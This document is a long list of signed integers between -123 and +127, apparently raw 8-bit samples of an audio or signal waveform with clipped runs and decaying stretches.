+60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-34 +-32 +-29 +-27 +-23 +-20 +-16 +-14 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +78 +74 +68 +64 +60 +57 +53 +50 +47 +45 +43 +40 +37 +36 +34 +32 +30 +29 +27 +26 +24 +23 +22 +22 +20 +20 +19 +19 +17 +17 +16 +16 +15 +15 +15 +15 +14 +14 +14 +14 +13 +13 +12 +13 +12 +12 +11 +12 +11 +11 +10 +11 +10 +10 +10 +11 +10 +10 +10 +11 +10 +10 +10 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +10 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +10 +10 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +10 +8 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +10 +9 +9 +10 +10 +9 +9 +9 +10 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +9 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +-69 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-94 +-86 +-79 +-72 +-67 +-61 +-56 +-50 +-44 +-40 +-37 +-33 +-30 +-26 +-24 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-90 +-82 +-75 +-69 +-62 +-58 +-53 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-22 +-20 +-17 +-14 +-12 +-11 +-9 +-8 +-6 +-5 +-3 +-2 +1 +1 +1 +2 +4 +4 +5 +6 +7 +7 +7 +7 +8 +9 +10 +9 +10 +11 +11 +10 +10 +11 +12 +12 +12 +12 +13 +12 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +14 +14 +13 +14 +14 +15 +15 +15 +15 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +14 +14 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +14 +13 +14 +13 +13 +13 +14 +15 +15 +14 +14 +14 +15 +15 +16 +16 +15 +14 +14 +13 +13 +13 +15 +14 +14 +15 +15 +14 +14 +15 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-104 +-96 +-88 +-82 +-74 +-69 +-64 +-59 +-54 +-49 +-44 +-39 +-34 +-31 +-28 +-25 +-21 +-19 +-17 +-14 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-88 +-81 +-75 +-68 +-62 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +101 +95 +89 +84 +78 +73 +68 +65 +61 +58 +55 +51 +48 +45 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-99 +-92 +-84 +-77 +-70 +-65 +-60 +-55 +-49 +-44 +-39 +-35 +-31 +-28 +-25 +-23 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-88 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +-10 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +9 +9 +9 +11 +11 +11 +10 +11 +11 +12 +12 +12 +13 +13 +11 +11 +12 +13 +13 +14 +14 +14 +13 +13 +14 +15 +14 +14 +14 +14 +13 +13 +13 +15 +15 +15 +14 +15 +14 +14 +14 +14 +14 +15 +14 +14 +13 +14 +14 +15 +15 +16 +15 +15 +14 +15 +14 +14 +14 +15 +15 +14 +13 +14 +14 +14 +15 +15 +15 +14 +14 +15 +14 +14 +15 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +109 +101 +96 +89 +84 +79 +74 +69 +65 +61 +58 +54 +50 +47 +45 +42 +40 +38 +36 +33 +32 +30 +30 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +95 +88 +83 +78 +73 +68 +64 +61 +57 +53 +50 +47 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-61 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-24 +-20 +-17 +-15 +-14 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +-1 +0 +1 +3 +3 +4 +5 +7 +6 +6 +6 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +11 +11 +13 +12 +11 +11 +12 +12 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +13 +12 +13 +13 +14 +14 +14 +14 +14 +13 +14 +14 +14 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +101 +95 +89 +83 +77 +72 +68 +64 +59 +57 +53 +50 +47 +45 +42 +40 +38 +36 +35 +33 +30 +29 +28 +27 +25 +24 +23 +22 +21 +20 +19 +19 +18 +17 +16 +16 +15 +15 +14 +14 +13 +13 +13 +13 +12 +12 +12 +12 +11 +11 +11 +11 +10 +10 +10 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-93 +-85 +-78 +-72 +-67 +-61 +-55 +-49 +-45 +-41 +-36 +-32 +-29 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +-12 +-11 +-10 +-9 +-6 +-4 +-2 +-2 +0 +1 +1 +2 +3 +4 +5 +5 +7 +7 +7 +7 +8 +9 +9 +9 +11 +11 +11 +10 +11 +12 +12 +12 +13 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-120 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-70 +-64 +-59 +-53 +-48 +-44 +-39 +-34 +-31 +-28 +-26 +-23 +-19 +-16 +-14 +-11 +-10 +-9 +-9 +-7 +-6 +-3 +-2 +-1 +1 +2 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +10 +11 +10 +11 +12 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +97 +90 +84 +79 +75 +69 +65 +61 +58 +54 +51 +48 +46 +43 +40 +37 +36 +34 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-85 +-77 +-71 +-67 +-61 +-54 +-49 +-45 +-40 +-36 +-32 +-30 +-27 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +112 +104 +97 +90 +85 +79 +74 +69 +65 +60 +57 +53 +51 +47 +45 +43 +40 +37 +36 +35 +33 +31 +30 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-101 +-92 +-84 +-77 +-71 +-66 +-60 +-55 +-49 +-44 +-40 +-37 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-14 +-11 +-10 +-9 +-8 +-4 +-2 +-1 +-1 +1 +1 +2 +3 +4 +5 +6 +6 +6 +6 +7 +7 +8 +9 +10 +10 +10 +11 +11 +11 +12 +12 +12 +12 +12 +12 +12 +12 +13 +13 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +13 +12 +13 +13 +14 +14 +14 +14 +14 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-75 +-70 +-64 +-59 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-14 +-12 +-10 +-8 +-8 +-6 +-4 +-3 +-2 +0 +0 +1 +2 +3 +3 +5 +6 +7 +7 +7 +8 +8 +8 +10 +10 +11 +10 +11 +11 +11 +11 +12 +12 +12 +11 +12 +11 +12 +12 +13 +14 +14 +13 +13 +13 +14 +13 +14 +14 +15 +14 +14 +13 +13 +13 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +13 +14 +14 +14 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +14 +14 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +89 +83 +77 +74 +69 +64 +60 +57 +54 +51 +47 +46 +42 +40 +38 +37 +34 +34 +32 +31 +28 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +101 +95 +89 +83 +77 +73 +69 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +29 +29 +28 +28 +26 +25 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-38 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +102 +96 +90 +85 +79 +74 +69 +65 +61 +58 +54 +51 +49 +46 +43 +41 +38 +37 +34 +32 +31 +29 +27 +26 +25 +25 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +109 +101 +95 +88 +83 +78 +73 +68 +64 +60 +56 +52 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-78 +-71 +-65 +-59 +-54 +-48 +-44 +-39 +-36 +-33 +-30 +-26 +-24 +-21 +-18 +-15 +-14 +-12 +-11 +-9 +-7 +-5 +-3 +-1 +0 +0 +1 +2 +3 +4 +4 +5 +6 +7 +7 +8 +9 +10 +10 +11 +10 +10 +10 +11 +10 +11 +12 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +12 +12 +13 +14 +14 +14 +14 +14 +13 +13 +13 +14 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +97 +89 +84 +79 +74 +69 +65 +61 +58 +54 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +27 +26 +25 +24 +23 +22 +21 +21 +19 +19 +18 +18 +16 +16 +16 +16 +15 +15 +14 +14 +13 +13 +12 +13 +12 +11 +11 +12 +11 +11 +10 +11 +10 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-93 +-85 +-78 +-72 +-67 +-62 +-56 +-50 +-45 +-41 +-36 +-33 +-30 +-27 +-23 +-20 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-14 +-12 +-11 +-9 +-8 +-6 +-5 +-3 +-1 +0 +0 +2 +3 +4 +4 +5 +6 +7 +6 +7 +7 +8 +9 +10 +11 +11 +10 +11 +10 +10 +11 +11 +11 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-32 +-29 +-26 +-22 +-20 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-21 +-19 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +110 +102 +96 +89 +84 +79 +74 +68 +64 +60 +58 +54 +52 +49 +46 +43 +41 +38 +36 +33 +32 +29 +28 +27 +26 +24 +23 +23 +22 +20 +20 +20 +19 +18 +17 +17 +17 +15 +15 +15 +15 +14 +14 +13 +13 +12 +13 +12 +11 +11 +12 +11 +11 +11 +11 +10 +10 +10 +10 +9 +10 +10 +10 +9 +9 +10 +9 +9 +10 +10 +9 +9 +10 +9 +9 +9 +9 +10 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 